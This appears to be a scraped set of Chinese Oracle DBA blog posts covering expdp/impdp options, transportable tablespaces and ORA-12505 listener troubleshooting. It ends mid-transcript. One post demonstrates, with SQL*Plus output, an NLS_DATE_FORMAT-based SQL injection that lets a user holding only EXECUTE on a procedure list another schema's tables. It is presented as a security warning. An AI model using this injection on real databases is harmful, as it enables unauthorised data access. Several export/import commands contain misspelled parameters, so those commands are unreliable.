EXPDP和IMPDP是服务端的工具程序,他们只能在ORACLE服务端使用,不能在客户端使用
IMP只适用于EXP导出文件,不适用于EXPDP导出文件;IMPDP只适用于EXPDP导出文件,而不适用于EXP导出文件.
数据泵导出包括导出表,导出方案,导出表空间,导出数据库4种方式.
expdp 选项
1): ATTACH 不能与其他选项一起使用
2): CONTENT 要导出的内容 默认值ALL
DATA_ONLY
METADATA_ONLY

3): DIRECTORY 指定转储文件和日志文件的所在地
DIRECTORY=directory_object数据库目录对象)
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp
4): DUMPFILE指定转储文件的名称,默认为 expdata.dmp

5):ESTIMAT 选项用于估算导出表所占的空间
expdp scott/tiger TABLE=emp ESTIMAT=STATISTICS|BLOCKS
6):ESTIMATE_ONLY 改选项只是估算导出对象所占的空间,默认值为Y

7):EXCLUDE 执行导出操作时要排除的对象或相关对象,与INCLUDE选项不能一起使用
expdp scott/tiger DIRECTORY=dump DUMPFILE=A.DMP EXCLUDE=view

8):FILESIZE 导出文件的最大尺寸,默认值为0(没有限制)

9)FLASHBACK_SCN 该选项导出特定时刻的表数据
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp FLASHBACK_SCN=385823

10):FLASHBACK_TIME 该选项用于导出特定时间点的表数据
FLASHBACK_TIME="TO_TIMESTAMP(time-value)"

expdp scott/tiger DIRECTIONARY=dump DUMPFILE=a.dmp FLASHBACK_TIME("TO_TIMESTMP('25-08-200814:35:00','DD-MM

-YYYY HH24:MI:SS');

11):FULL 导出整个数据库

12)HELP

13)INCLUDE 该选项指定导出的对象类型
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp INCLUDE=table

14):JOB_NAME 该选项用于指定导出作业的名称
expdp scott/tiger DIRECTORYL=dump DUMPFILE=a.dmp JOB_NAME=maxu

15)LOGFILE 该选项导出日志文件的名称
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp logfile=a.log
16)NETWORK_LINK 该选项指定数据库链名,将远程数据库导出到本地的转储文件中
NETWORK_LINK=source_database_link 注:对象表不支持远程导出

17):NOLOGFILE 该选项指定禁止生成导出日志文件

18):PARALLEL 该选项指定导出操作的并行进程个数,默认值为1
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp PARALLEL=3;

19):PARFILE 指定导出参数文件的名称
TABLES=dept,emp
DIRECTORY=dump
DUMPFILE=tab.dmp
20):QUERY 该选项过滤出数据的WHERE条件
expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp TABLES=emp query=' "WHERER= deptno=20" '

21):SCHEMAS
expdp system/oracle DIRECTORY=dump DUMPFILE=a.dmp SCHEMAS=scott,system

22):STATUS 导出作业的状态

23):TABLES 表模式
expdp system/oracle directory=dump dumpfile=a.dmp tables=scott.dep,scott.emp

24):TABLESPACES 导出表空间列表
expdp system/oracle DIRECTORY=dump DUMPFILE=a.dmp tablespace=user01

25):TRANSPORT_FULL_CHECK
该选项指定被搬移表空间和搬移表空间的依赖

26):TRANSPORT_TABLESPACE 表空间的导出模式

27):VERSION 保持向下兼容
expdp scott/tiger DIRECTORY=dump DUMPFILE=c.dmp VERSION=LASTEST 根据初始参数COMPATIBLE的设置

调用EXPDP SQL>conn system/oracle SQL>create DIRECTORY dump_dir AS 'd:dump'; SQL>GRANT read,write on DIRCTORY dump_dir to scott;

导出表
expdp scott/tiger DIRECTORY=dump_dir DUMPFILE=tab.dmp TABLES=dept,emp

导出schemas
expdp system/oracle DIRECTORY=dump_dir DUMPFILE=schema.dmp SCHEMAS=system.scott;

导出表空间
expdp system/oracle DIRECTORY=dump_dir DUMPFILE=tablespace.dmp TABLESPACES=user01,user02

导出数据库
expdp system/oracle DIRECTORY=dump_dir DUMPFILE=full.dmp FULL=Y

IMPDP

REMAP_DATAFILE 该选项将源数据文件的名称转变为目标数据文件名,当在不用平台之间搬移表空间时可能需要使用该选项
REMAP_SCHEMA
impdp system/oracle DIRECTORY=dump DUMPFILE=tab.dmp REMAP_SCHEMA=scott:system

REMAP_TABLESPACE 将源表空间的所有对象导入目标表空间
impdp system/oracle DIRECTORY=dump DUMPFILE=tab.dmp REMAP_RABLESPACE=user01:user02

REUSE_DATAFILES 是否覆盖已存在的数据文件
SCHEMAS 导入指定模式(schemas
impdp system/oracle DIRECTORY=dump DUMPFILE=tab.dmp SCHEMAS=scott
SKIP_UNUSABLE_INDEXED
是否跳过不可使用的索引

SQLFILE 指定导入操作需要执行DDL语句写入到一个脚本
SQLFILE=[dirctory_object:]file_name
impdp scott/tiger DIRECTORY=dump DUMPFILE=tab.dmp SQLFILE=a.sql
STREAMS_CONFIGURATION

TABLE_EXISTS_ACTION 当表已存在是执行的操作
skip|append|truncate|replace
TABLES
impdp scott/tiger DIRECTOR=dump DUMPFILE=tab.dmp TABLES= emp

TABLESPACES
impdp scott/tiger directory=dump dumpfile=tab.dmp tablespace=usr01

TRANSPORT_DATAFILES 该选项指定当搬移表空间时要被导入到目标数据库的数据文件名称
impdp system/oracle DIRECTORY=dump DUMPFILE=tab.dmp TRANSPORT_DATAFILE='/user01/data/tbs.dbf'
TRANSPORT_FULL_CHECK
表空间依赖检查

TRANSPORT_TABLESPACE 表空间模式导入

VERSION

调用IMPDP
impdp scott/tiger DIRECTORY=dump_dir DUMPFILE=tab.dmp TABLES=dept,emp

impdp system/oracle DIRECTORY=dump_dir DUMPFILE=tab.dmp TABLES=scott.dept,scott.emp

REMAP_SCHEMA=scott:system
schemas
(模式)
impdp scott/tiger DIRECTORY=dump_dir DUMPFILE=schema.dmp SCHEMAS=scott
impdp system/oracle DIRECTORY=dump_dir DUMPFILE=schema.dmp SCHEMAS=scott REMAP_SCHEMA=scott:system

表空间
impdp system/oracle DIRECTORY=dump_dir DUMPFILE=tablespace.dmp TABLESPACE=user01

数据库
impdp system/oracle DIRECTORY=dump_dir DUMPFILE=full.dmp FULL=Y;

搬移表空间
nls_database_parameters
条件约束
字符集一样和国家字符集一样
两个数据库不能同名
不能搬移systemsys用户对象的表空间
如果是其他平台,将初始参数compatible设置10.0

自包含表空间是指具有有关联关系的表空间集合,假设表空间A包含了表EMP,而表空间B包含了表空间EMP的索引IND_EMP,

如果要搬移表空间B,则必须同时搬移表空间A,则表空间A和B为自包含表空间集合
违反自包含集合规则
表空间包含sys对象
表空间包含了索引所在的表空间,但没有包含索引基表所在的表空间
表空间集合没有高喊分区表的所有分区
表空间包含了表所在的表空间,但没有包含LOB列所在的表空间

source database demo
dest database orcl

使用DBMS_TTS包检查表空间是否为自包含的
SQL>conn system/oracle SQL>execute sys.dbms_tts.transport_set_check('user02',true) sql>select * from sys.transport_set_violations;

sql>alter tablespace users read only

SQL>host expdp system/oracle DIRECTORY=dump_dir DUMPFILE=transport.dmp TRANSPORT_TABLESPACE=users

transport.dmp文件拷贝目标服务器上

在目标数据库上比照两个数据库的块大小,如不一样
dest
SQL>alter system set db_cache_size=20m; SQL>alter system set db_4k_cache_size=4M;

impdp system/oracle DIRECTORY=dump_dir DUMPFILE=transport.dmp

TRANSPORT_DATAFILES=d:oracleoradataorclusers.dbf REMAP_SCHEMA=scott:hr

 

文章现已搬到www.anbob.com个人网站上

oracle 轻松小sql注入

上一篇 / 下一篇  2011-08-31 08:42:54 / 个人分类:oracle管理

查看( 2352 ) / 评论( 13 )
今天看tom的有提到一个很有趣的东东,只授权的procedure execute,别人就可以 sql注入,以后你可得小心了,下面请看我的试验


[oracle@aix ~]$ sqlplus anbob/anbob

SQL*Plus: Release 10.2.0.4.0 - Production on Tue Aug 30 18:52:41 2011

Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi
PL/SQL Release 10.2.0.4.0 - Production
CORE    10.2.0.4.0      Production
TNS for Linux: Version 10.2.0.4.0 - Production
NLSRTL Version 10.2.0.4.0 - Production

SQL> select * from all_users;

USERNAME                          USER_ID CREATED
------------------------------ ---------- -------------------
ZYY                                  1099 2011-08-30 11:41:03
GZPX_DB                              1070 2011-08-30 11:41:01
GIAF                                 1069 2011-08-30 11:41:01
DEAN_TRAIN                           1068 2011-08-30 11:41:01
...

75 rows selected.

SQL> select * from tab;

TNAME                          TABTYPE  CLUSTERID
------------------------------ ------- ----------
TEST                           TABLE
TESTA                          TABLE
TESTB                          TABLE
TESTBLOB                       TABLE
TESTC                          TABLE
TESTIMG                        TABLE
TESTKDR                        TABLE
TESTXY                         TABLE

8 rows selected.

SQL> create or replace procedure badboy( p_date in date )
  2  as
  3  l_rec   all_users%rowtype;
  4  c       sys_refcursor;
  5  l_query long;
  6  begin
  7  l_query := 'select * from all_users where created = ''' ||p_date ||'''';
  8  dbms_output.put_line( l_query );
  9  open c for l_query;
 10  for i in 1 .. 10
 11  loop
 12  fetch c into l_rec;
 13  exit when c%notfound;
 14  dbms_output.put_line( l_rec.username || '.....' );
 15  end loop;
 16  close c;
 17  end;
 18  /

Procedure created.

SQL> set serveroutput on;
SQL> exec badboy(sysdate);
select * from all_users where created = '2011-08-30 18:55:04'

PL/SQL procedure successfully completed.

SQL> grant execute on badboy to icme;

Grant succeeded.

SQL> conn icme/icme
Connected.
SQL> set serveroutput on

SQL> exec anbob.badboy(sysdate);
select * from all_users where created = '2011-08-30 18:57:44'

PL/SQL procedure successfully completed.

SQL> alter session set nls_date_format = '"''union select tname,0,sysdate from tab--"';

Session altered.

SQL> exec anbob.badboy(sysdate);
select * from all_users where created = ''union select tname,0,sysdate from tab--'
TEST.....
TESTA.....
TESTB.....
TESTBLOB.....
TESTC.....
TESTIMG.....
TESTKDR.....
TESTXY.....

PL/SQL procedure successfully completed.

呵,是不是很眼熟,这当然是anbob的表,这些表并没有授权给icme。同样也可以从all_column得到列,那样就可以得到表只的一部份数据了...
 
 
 

关于ORACLE的ora-12505报错以及连接问题的解决及相关资料

最近,我在使用jdbc连接oracle 9i数据库时,发生如下错误:

Error occured while trying to connect to the database

Error connecting to database: (using class racle.jdbc.driver.OracleDriver)
Listener refused the connection with the following error:
ORA-12505, TNS:listener does not currently know of SID given in connect descriptor
The Connection descriptor used by the client was:
192.168.1.1:1521:bbcd

----解决办法,经查找,以上的bbcd并不是sid_name,而是SERVICE_NAME

改用sid_name后,运行正常。

2006.07.17

服务器上的相关name:

listener.ora: GLOBAL_NAME,SID_NAME

init.ora        :db_name    


附:有关资料

关于ORACLE的ora-12505报错以及连接问题的问答资料

1:配置JDBC Connection Pool时出错
原文:http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=123&threadID=8769
问题描述:我安装weblogic8.1后,准备连接oracle9i,创建JDBC Connection Pool时出错,错误提示:
Io 异常: Connection refused(DESCRIPTION=(TMP=)(VSNNUM=153093120)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4))))
Driver Classname: oracle.jdbc.driver.OracleDriver
URL:jdbc:oracle:thin:@145.32.16.1:1521:zzlt
 
oracle的日志:
TNS-12505: TNS:listener could not resolve SID given in connect descriptor

sql plus使用都很正常。

------------------
解答1:我也遇到这个问题,但是幸运的是我刚刚解决。
     错误码一样。你看看如下几个问题:
    1、zzlt 是你的数据库名还是数据库的实例名。
     比如我在SQL PLUS里面连接的是finance数据库实例,一切正常,但是Oracle的Url是 finance.ora,那么在端口后面就应该写ora而不是finance.

    2、到你的Oracle数据上去看看,修改一下一个配置文件,具体文件我忘了,反正我把里面的ora全部换成了IP地址,然后通过,现在应用良好。

------------
解答2:
          在 ORACLE 里用tnsping  看看listener启动了吗?
          再看看listener config file 里面有没有写上你的SID
解答3:

        到服务器上看一下,listener.ora
SID_LIST_LISTENER =
    (SID_DESC =
      (GLOBAL_DBNAME = oracle9i)
      (ORACLE_HOME = /opt/oracle9i/product/9.2.0)
      (SID_NAME = ORCL)
    )
  )
你的url里面可能用的是上面的GLOBAL_DBNAME 的值,就是用的是SERVICE_NAME, 替换成SID_NAME后面的值试试看

你可以用sqlplus登陆到服务器
$sqlplus / as sysdba
SQL> select * from v$instance;
看一下你的机器正在跑的SID的名字是什么
 
=================================

2:关于SID_NAME,SERVICE_NAME,db_name的疑问


listener:
(SID_DESC =
(GLOBAL_DBNAME = e3dup)
(ORACLE_HOME = d:\oracle\ora92)
(SID_NAME = e3dup2)
)

tnsname.ora:
E3_DUP =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = jiangxs)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = e3dup2)
)
)

SQL> conn /@e3_dup as sysdba
ERROR:
ORA-12514: TNS: 监听进程不能解析在连接描述符中给出的 SERVICE_NAME

但如果我把tnsname.ora里的SERVICE_NAME = e3dup2 改成 SERVICE_NAME = e3dup(和GLOBAL_DBNAME相同),就可以。
那是不是说tnsname里的SERVICE_NAME 和向GLOBAL_DBNAME关联?原来还以为SERVICE_NAME 指向 SID_NAME,那listener里的SID_NAME 名有什么用?

------------------------

解答:
SID_NAME跟安装oracle时的ORACLE_SID相同,SERVICE_NAME=DBNAME.DB_DOMAIN
DB_NAME即是数据库名,它是oracle数据库的内部标识,安装以后轻易不要修改

===========================


3:在Oracle网络结构中解决连接问题
来源:不详 (2006-06-29 15:14:21)
来源: http://fanqiang.chinaunix.net/db/oracle/2006-06-29/4714.shtml


最近看到好多人说到tns或者数据库不能登录等问题,就索性总结了下面的文档。
  
  首先来说Oracle的网络结构,往复杂处说能加上加密、LDAP等等。。这里不做讨论,重点放在基本的网络结构也就是我们最常用的这种情况
  
  三个配置文件
  
  listener.ora、sqlnet.ora、tnsnames.ora ,都是放在$ORACLE_HOME\network\admin目录下。
  
  重点:三个文件的作用和使用
  
  #-----------------------
  
  sqlnet.ora-----作用类似于linux或者其他unix的nsswitch.conf文件,通过这个文件来决定怎么样找一个连接中出现的连接字符串,
  
  例如我们客户端输入
  
  sqlplus sys/oracle@orcl
  
  假如我的sqlnet.ora是下面这个样子
  
  SQLNET.AUTHENTICATION_SERVICES= (NTS)
  
  NAMES.DIRECTORY_PATH= (TNSNAMES,HOSTNAME)
  
  那么,客户端就会首先在tnsnames.ora文件中找orcl的记录.如果没有相应的记录则尝试把orcl当作一个主机名,通过网络的途径去解析它的ip地址然后去连接这个ip上GLOBAL_DBNAME=orcl这个实例,当然我这里orcl并不是一个主机名
  
  如果我是这个样子
  
  NAMES.DIRECTORY_PATH= (TNSNAMES)
  
  那么客户端就只会从tnsnames.ora查找orcl的记录
  
  括号中还有其他选项,如LDAP等并不常用。
  
  #------------------------
  
  Tnsnames.ora------这个文件类似于unix 的hosts文件,提供的tnsname到主机名或者ip的对应,只有当sqlnet.ora中类似
  
  NAMES.DIRECTORY_PATH= (TNSNAMES) 这样,也就是客户端解析连接字符串的顺序中有TNSNAMES是,才会尝试使用这个文件。
  
  例子中有两个,ORCL 对应的本机,SALES对应的另外一个IP地址,里边还定义了使用主用服务器还是共享服务器模式进行连接,一句一句说
  
  #你所要连接的时候输入得TNSNAME
  
  ORCL =
  
  (DESCRIPTION =
  
  (ADDRESS_LIST =
  
  #下面是这个TNSNAME对应的主机,端口,协议
  
  (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
  
  )
  
  (CONNECT_DATA =
  
  #使用专用服务器模式去连接需要跟服务器的模式匹配,如果没有就根据服务器的模式
  
  #自动调节
  
  (SERVER = DEDICATED)
  
  #对应service_name,SQLPLUS>show parameter service_name;
  
  #进行查看
  
  (SERVICE_NAME = orcl)
  
  )
  
  )
  
  #下面这个类似
  
  SALES =
  
  (DESCRIPTION =
  
  (ADDRESS_LIST =
  
  (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.188.219)(PORT = 1521))
  
  )
  
  (CONNECT_DATA =
  
  (SERVER = DEDICATED)
  
  (SERVICE_NAME = sales)
  
  )
  
  )
  
  #----------------------
  
  客户端完了我们来看服务器端
  
  listener.ora------listener监听器进程的配置文件
  
  关于listener进程就不多说了,接受远程对数据库的接入申请并转交给oracle的服务器进程。所以如果不是使用的远程的连接,listener进程就不是必需的,同样的如果关闭listener进程并不会影响已经存在的数据库连接。
  
  Listener.ora文件的例子
  
  #listener.ora Network Configuration File: #E:\oracle\product\10.1.0\Db_2\NETWORK\ADMIN\listener.ora
  
  # Generated by Oracle configuration tools.
  
  #下面定义LISTENER进程为哪个实例提供服务
  
  #这里是ORCL,并且它对应的ORACLE_HOME和GLOBAL_DBNAME
  
  #其中GLOBAL_DBNAME不是必需的除非使用HOSTNAME做数据库连接
  
  SID_LIST_LISTENER =
  
  (SID_LIST =
  
  (SID_DESC =
  
  (GLOBAL_DBNAME = boway)
  
  (ORACLE_HOME = E:\oracle\product\10.1.0\Db_2)
  
  (SID_NAME = ORCL)
  
  )
  
  )
  
  #监听器的名字,一台数据库可以有不止一个监听器
  
  #再向下面是监听器监听的协议,ip,端口等,这里使用的tcp1521端口,并且使#用的是主机名
  
  LISTENER =
  
  (DESCRIPTION =
  
  (ADDRESS = (PROTOCOL = TCP)(HOST = boway)(PORT = 1521))
  
  )
  
  上面的例子是一个最简单的例子,但也是最普遍的。一个listener进程为一个instance(SID)提供服务。
  
  监听器的操作命令
  
  $ORACLE_HOME/bin/lsnrctl start,其他诸如stop,status等。具体敲完一个lsnrctl后看帮助。
  
  上面说到的三个文件都可以通过图形的配置工具来完成配置
  
  $ORACLE_HOME/netca 向导形式的
  
  $ORACLE_HOME/netmgr
  
  本人比较习惯netmgr,
  
  profile 配置的是sqlnet.ora也就是名称解析的方式
  
  service name 配置的是tnsnames.ora文件
  
  listeners配置的是listener.ora文件,即监听器进程
  
  具体的配置可以尝试一下然后来看一下配置文件。
  
  这样一来总体结构就有了,是当你输入sqlplus sys/oracle@orcl的时候
  
  1. 查询sqlnet.ora看看名称的解析方式,发现是TNSNAME
  
  2. 则查询tnsnames.ora文件,从里边找orcl的记录,并且找到主机名,端口和service_name
  
  3. 如果listener进程没有问题的话,建立与listener进程的连接。
  
  4. 根据不同的服务器模式如专用服务器模式或者共享服务器模式,listener采取接下去的动作。默认是专用服务器模式,没有问题的话客户端就连接上了数据库的server process。
  
  5. 这时候网络连接已经建立,listener进程的历史使命也就完成了。

 #---------------
  
  几种连接用到的命令形式
  
  1.sqlplus / as sysdba 这是典型的操作系统认证,不需要listener进程
  
  2.sqlplus sys/oracle 这种连接方式只能连接本机数据库,同样不需要listener进程
  
  3.sqlplus sys/oracle@orcl 这种方式需要listener进程处于可用状态。最普遍的通过网络连接。
  
  以上连接方式使用sys用户或者其他通过密码文件验证的用户都不需要数据库处于可用状态,操作系统认证也不需要数据库可用,普通用户因为是数据库认证,所以数据库必需处于open状态。
  
  然后就是
  
  #-------------
  
  平时排错可能会用到的
  
  1.lsnrctl status查看服务器端listener进程的状态
  
  LSNRCTL> help
  
  The following operations are available
  
  An asterisk (*) denotes a modifier or extended command:
  
  start stop status
  
  services version reload
  
  save_config trace change_password
  
  quit exit set*
  
  show*
  
  LSNRCTL> status
  
  2.tnsping 查看客户端sqlnet.ora和tnsname.ora文件的配置正确与否,及对应的服务器的listener进程的状态。
  
  C:\>tnsping orcl
  
  TNS Ping Utility for 32-bit Windows: Version 10.1.0.2.0 - Production on 16-8月 -
  
  2005 09:36:08
  
  Copyright (c) 1997, 2003, Oracle. All rights reserved.
  
  Used parameter files:
  
  E:\oracle\product\10.1.0\Db_2\network\admin\sqlnet.ora
  
  Used TNSNAMES adapter to resolve the alias
  
  Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)
  
  (HOST = 127.0.0.1)(PORT = 1521))) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_
  
  NAME = orcl)))
  
  OK (20 msec)
  
  3.
  
  SQL>show sga 查看instance是否已经启动
  
  SQL> select open_mode from v$database; 查看数据库是打开还是mount状态。
  
  OPEN_MODE
  
  ----------
  
  READ WRITE
  
  #-----------------
  
  使用hostname访问数据库而不是tnsname的例子
  
  使用tnsname访问数据库是默认的方式,但是也带来点问题,那就是客户端都是需要配置tnsnames.ora文件的。如果你的数据库服务器地址发生改变,就需要重新编辑客户端这个文件。通过hostname访问数据库就没有了这个麻烦。
  
  需要修改
  
  服务器端listener.ora
  
  #监听器的配置文件listener.ora
  
  #使用host naming则不再需要tnsname.ora文件做本地解析
  
  # listener.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\listener.ora
  
  # Generated by Oracle configuration tools.
  
  SID_LIST_LISTENER =
  
  (SID_LIST =
  
  (SID_DESC =
  
  # (SID_NAME = PLSExtProc)
  
  (SID_NAME = orcl)
  
  (GLOBAL_DBNAME = boway)
  
  (ORACLE_HOME = d:\oracle\product\10.1.0\db_1)
  
  # (PROGRAM = extproc)
  
  )
  
  )
  
  LISTENER =
  
  (DESCRIPTION_LIST =
  
  (DESCRIPTION =
  
  (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
  
  )
  
  (DESCRIPTION =
  
  (ADDRESS = (PROTOCOL = TCP)(HOST = boway)(PORT = 1521))
  
  )
  
  )
  
  客户端sqlnet.ora 如果确认不会使用TNSNAME访问的话,可以去掉TNSNAMES
  
  # sqlnet.ora Network Configuration File: d:\oracle\product\10.1.0\db_1\NETWORK\ADMIN\sqlnet.ora
  
  # Generated by Oracle configuration tools.
  
  SQLNET.AUTHENTICATION_SERVICES= (NTS)
  
  NAMES.DIRECTORY_PATH= (HOSTNAME)
  
  Tnsnames.ora文件不需要配置,删除也无所谓。
  
  下面就是网络和操作系统的配置问题了,怎么样能够解析我的主机名的问题了
  
  可以通过下面的方式连接
  
  sqlplus sys/oracle@boway
  
  这样的话,会连接boway这台服务器,并且listener来确定你所要连接的service_name。


===========================

4:jdbc连oracle被拒绝,使用过千百次的方法了!急!
来源:http://www.itpub.net/501870.html

java.sql.SQLException: Io 异常: Connection refused(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=12505)(ERROR_STACK=(ERROR=(CODE=12505)(EMFI=4))))

使用plsql可以连接上,使用tomcat的连接池的方式也可连上,但是我使用直接连接的方式就报这个错。

绝对不会缺少类路径,我能保证这一点。
请求大家救命!
----------------

Connection connection = null;
try {
// Load the JDBC driver
String driverName = "oracle.jdbc.driver.OracleDriver";
Class.forName(driverName);

// Create a connection to the database
String serverName = "127.0.0.1";
String portNumber = "1521";
String sid = "mydatabase";
String url = "jdbc: oracle:thin:@" + serverName + ":" + portNumber + ":" + sid;
String username = "username";
String password = "password";
connection = DriverManager.getConnection(url, username, password);
} catch (ClassNotFoundException e) {
// Could not find the database driver
} catch (SQLException e) {
// Could not connect to the database
}


----------------

hehe,是我搞错了,在配置文件里的url后面加了个“;”号。
谢谢大家的提醒!非常感谢


=================================
5:以下资料的主要内容是,要使用正确的listener版本


Q:
I tried it on my Redhat Enterprise 3 and Oracle10g,but sqlplus still failed:

ORA-01034 ORACLE not available
ORA-27101 share memory realm does not exist
Linux Error :2: No such file or directory

I searched on metalink.oracle.com,asktom.oracle.com and others website,peoples
said maybe ORACLE_HOME, ORACLE_SID or kernel parameters are not correct,I tried
in different ways,unfortunately, is not helpful. There are so many people
encounter the problems, why Oracle does not consider to fix it???

thanks,

Lawrence

here are some files:
1.tnsname.ora:

SALES =
( DESCRIPTION =
( ADDRESS = ( PROTOCOL = TCP) (HOST = localhost.localdomain)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = sales)
)
)

EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)


2.listener.ora:
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME =/home/oracle/product/10.1.0/db_1)
(PROGRAM = extproc)
)
)

LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST=localhost.localdomain)
(POST = 1521))
)
)
)

3.kernel parameters:
kernel parameters:
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000

add following line to:
/etc/security/limits.conf:

* soft nproc 2047
* hard nproc 16384
* soft nofile 1024
* hard nofile 65536

add following line to:
/etc/pam.d/login

add following line to:

session required /lib/security/limits.so

add following line to:
/etc/profile

if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi


4.bash_profile

PATH = $PATH:$HOME/bin
umask 022
export ORACLE_BASE=/home/oracle
export ORACLE_HOME=ORACLE_BASE/product/10.1.0/db_1
export ORACLE_SID=sales
export ORACLE_TERM=xterm
LD_LIBRARY_PATH=$ORACLE_HOME/jdk/fre/lib/i386:$ORACLE_HOME/jdk/fre
export LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH

5.part of env:
SSH_AGENT_PID=2697
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
TERM=xterm
NLS_LANG=AMERICAN
USER=oracle
LD_LIBRARY_PATH=/home/oracle/product/10.1.0/db_1/jdk/jre/lib/i386:/home/oracle/pr
oduct/10.1.0/db_1/jdk/jre
ORACLE_SID=sales
ORACLE_BASE=/home/oracle
USERNAME=oracle
PATH=/USR/kerberos/bin:/usr/local/bin:/usr/bin:/lib:/usr/X11R6/bin:/home/oracle/b
in:/home/oracle/product/10.1.0/db_1/bin
ORACLE_TERM=xterm
HOME=/home/oracle
LOGNAME=oracle
ORACLE_HOME=/home/oracle/producr/10.1.0/db_1
XAUTHORITY=/home/oracle/.xauthority
OLDPWD=/home/oracle/product/10.1.0/db_1/network/admin




Followup: 

there is nothing to fix, except something in your configuration is why....


and unfortunately you have none of the needed stuff here.

I cannot see what command line you used to try and connect (eg: was it over the
network, local, how)

I cannot see what ORACLE_HOME and ORACLE_SID were used to start the database.

I can see an obvious typo in your ORACLE_HOME environment variable -- producr. 
Hmmm....
 
=====================================


Tom,

We have two instances/environment Production & Staging.
We can logon to the Oracle Database through telnet in both environments.

We can also log on to Production Database through client by using SQL Plus or
Toad.
But we are not able to logon to Staging Database through client.

Following error message comes up:

ORA-12505: TNS :listener could not resolve SID given in connect descriptor

Action 1
---------
Staging (I logon to staging box through telnet)
--------
ps -ef|grep LISTEN
get no values than
Then I run “lsnrctl start"
ps -ef|grep LISTEN
oracle 230 1 0 Jul 09 ? 0:00 /oracle/rev/7.1.3/bin/tnslsnr LISTNER -inherit

Note: Here is the Oracle version of Listner is 7.1.3.
But my Oracle Server Database version is 7.3.4.5

For the Production we have same version 7.3.4 in both scenarios.

Production:
-----------
oracle 7 22084 22057 0 08:27:02 pts/3 0:00 grep LISTEN
oracle 7 310 1 0 Ju; 09 ? 0:00 /disk/oracle/product/7.3.4/bin/tnslsnr LISTNER
-inherit

Action 2
---------
At client machine/PC under Orant/bin we have two sqlplus file. +Plus80w &
+Plus33w
I logon from there as follows:
Note: for Production its works fine but I am getting errors for Staging.

For Staging: I am getting errors as below
sys/manager@witstage
SQL*Plus: Release 3.3.4.0.0 - Production on Mon Jul 26 17:53:56 2004
Copyright (c) Oracle Corporation 1979, 1996. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor

+Plus80w.
Here is the result from +Plus80w
sys/manager@witstage
SQL*Plus: Release 8.0.5.0.0 - Production on Mon Jul 26 17:46:21 2004
(c) Copyright 1998 Oracle Corporation. All rights reserved.
ERROR: ORA-12505: TNS:listener could not resolve SID given in connect
descriptor


Action 3
--------
I used telnet to go to directories as below

Staging

/disk/app/oracle/product/7.3.4/network/admin
wits2 44: tnsping witstage
TNS Ping Utility for Solaris: Version 2.3.4.0.0 - Production on 26-JUL-04
16:33:
36
Copyright (c) Oracle Corporation 1995. All rights reserved.
Attempting to contact
(ADDRESS=(COMMUNITY=dhs.world)(PROTOCOL=TCP)(Host=wits2)(P
ort=1521))
OK (120 msec)
wits2 45:
 
   
Regards,
Dawar



Followup: 
fairly simple (although your environment is a mess -- you should be using the
listener of the HIGHEST version -- not the lowest)


[tkyte@tkyte-pc tkyte]$ oerr ora 12505
12505, 00000, "TNS:listener could not resolve SID given in connect descriptor"
// *Cause:  The SID in the CONNECT_DATA was not found in the listener's
tables.
// *Action: Check to make sure that the SID specified is correct.
// The SIDs that are currently registered with the listener can be obtained by
// typing "LSNRCTL SERVICES <listener name>". These SIDs correspond to
// SID_NAMEs in TNSNAMES.ORA, or db_names in INIT.ORA.
// *Comment: This error will be returned if the database instance has not
// registered with the listener; the instance may need to be started.


 
 


Tom,

Thanks for your feed back.
Problem has been solved.

I need to stop LISTENER from 7.1.3 directory (disk/rev/7.1.3)  and start from
7.3.4 dir ($ORACLE_HOME) and its works.

Now I am getting correct version for staging environment.

========================

Hi Tom,

I read this page and tried to fix my problem but to no avail!

I have two Oracle Home on a HP-UX  box:

ORACLE_HOME=/opt/oracle/product/9.0.1 db1=nmdb01  db2=nmdb02
ORACLE_HOME=/opt/oracle/product/9.2.0 db1=dbo01

As you see, 9.01 has two DBs and 9.2 has one.
I stopped old listener and started the new one:

oracle@hera> lsnrctl stat

LSNRCTL for HPUX: Version 9.0.1.3.0 - Production on 19-JAN-2005 13:42:35

